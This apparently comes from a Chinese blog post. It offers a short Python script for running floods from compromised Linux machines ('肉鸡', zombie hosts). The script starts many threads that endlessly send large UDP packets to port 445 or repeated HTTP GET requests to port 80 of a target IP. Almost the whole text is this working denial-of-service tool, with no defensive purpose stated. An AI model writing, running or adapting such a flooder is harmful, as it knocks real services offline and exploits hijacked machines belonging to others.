学步园

现在肉鸡上面linux越来越多，都默认安装了python,有时候没有工具的时候可以自己写一个：

下面是支持 tcp和udp的python的发包代码：

import socket,sys,threading

if len(sys.argv)!=4:
    print('使用方法:\n'+sys.argv[0],'目标ip','协议[tcp | udp]','线程数')
    sys.exit(1)
    
ip=sys.argv[1]
tp='send'+sys.argv[2].strip().lower()
tno=int(sys.argv[3])

udpdata=b'a'*65530

tcpdata='''GET / HTTP/1.1
Connection: keep-alive
Host: {}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)
Chrome/17.0.963.46 Safari/535.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3

'''.format(ip).encode()

def sendudp(host,port=445):
    s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
    while True:
        s.sendto(udpdata,(host,port))
        print('Udp sending... ')


def sendtcp(host,port=80):
    while True:
        s=socket.socket()
        s.connect((host,port))
        s.send(tcpdata)
        print('Tcp sending... ')
        s.close()

        
tlst=[]

for i in range(tno):
    th=threading.Thread(target=eval(tp),args=(ip,))
    tlst.append(th)
    
for i in tlst:
    i.start()